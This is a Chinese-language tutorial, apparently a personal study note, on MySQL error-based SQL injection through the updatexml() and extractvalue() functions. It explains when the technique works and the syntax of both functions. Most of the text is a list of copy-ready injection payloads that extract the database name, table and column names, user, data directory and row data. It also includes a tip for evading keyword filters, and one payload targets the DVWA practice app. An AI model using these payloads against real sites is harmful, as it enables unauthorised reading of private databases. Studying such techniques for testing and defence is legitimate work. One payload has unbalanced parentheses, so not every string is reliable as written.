SQL报错注入,SQL注入必须掌握的一个注入方法!
前言
学习SQL注入知识点,记录一下SQL报错注入相关知识。
但是这次记录的是利用Xpath报错注入,没有讲到floor()函数报错注入。
后面我会继续找时间补充一下。
一、SQL报错注入适用前提
报错注入的前提:就是页面能够响应详细的错误描述(回显能够报错)
二、报错注入要利用到的函数
SQL报错注入,利用的是Xpath报错注入这个关键点
涉及到的函数如下:
updatexml()
extractvalue()
当这两个函数在执行时,如果出现xml文档路径错误就会产生报错
1. updatexml()解读
updatexml()
是一个使用不同的xml标记匹配和替换xml块的函数。
作用:改变文档中符合条件的节点的值
语法: updatexml(XML_document,XPath_string,new_value)
- 第一个参数:是string格式,为XML文档对象的名称,文中为Doc
- 第二个参数:代表路径,Xpath格式的字符串例如//title
- 第三个参数:string格式,替换查找到的符合条件的数据
updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
例如: select * from test where ide = 1 and (updatexml(1,0x7e,3));
由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
2. extractvalue()解读
作用:此函数从目标XML中返回包含所查询值的字符串
语法:extractvalue(XML_document,xpath_string)
- 第一个参数:string格式,为XML文档对象的名称
- 第二个参数:xpath_string(xpath格式的字符串)
- SQL语句格式:
select * from test where id=1 and extractvalue(1,concat(0x7e,(select user()),0x7e));
extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
三、报错注入命令整理
这里默认payload是字符型参数,如果测试出来payload是数字型参数,则 and
前面不加单引号 '
即可
1. updatexml()语句整理(payload形式)
再提一嘴,0x7e就是 ~
.在这里的作用就是引起报错,同时当作分隔符,便于观察。
- 爆当前数据库名:
' and updatexml(1,concat(0x7e,database(),0x7e),1)#
-
爆当前数据库的表名:
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
注:此处使用group_concat()函数进行输出,否则会出现错误。 无要修改的参数
-
爆指定表的字段(即列名)信息:
' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#
注:要修改的参数table_name,填具体表名。table_name的参数必须加单引号
-
爆数据:
' and updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME) from TABLE_NAME),0x7e),1)#
注:要修改的参数为COLUMN_NAME和TABLE_NAME,具体的列名和表名,这里的表名不需要加单引号
补充一下:' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#
这个是爆当前数据库名的拓展,还可以爆出当前用户名,即 user()
;爆出当前数据的文件夹路径,即 @@datadir
@@datadir
相当于 datadir()
的意思, @@database
同理。
2. extractvalue()语句整理(payload形式)
使用extractvalue可以避开关键词 update
的过滤
extractvalue和updatexml大致相同,只是要填入参数变为两个了,而不是三个
- 爆当前数据库名:
' and extractvalue(1,concat(0x7e,database(),0x7e))#
- 爆当前数据库的表名:
' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#
注:此处使用group_concat()函数进行输出,否则会出现错误。 无要修改的参数
-
爆指定表的字段(即列名)信息:
' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) #
注:要修改的参数table_name,填具体表名。table_name的参数必须加单引号
-
爆数据:
' and extractvalue(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))#
注:要修改的参数为COLUMN_NAME和TABLE_NAME,具体的列名和表名,这里的表明不需要加单引号
补充:这是爆数据的一个拓展' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users)))#
COLUMN_NAME可以填写多个列名,在group_concat()中会拼接起来
结语
文章的 #
注释符号可以换成其他形式的,比如 %23
参考了以下文章: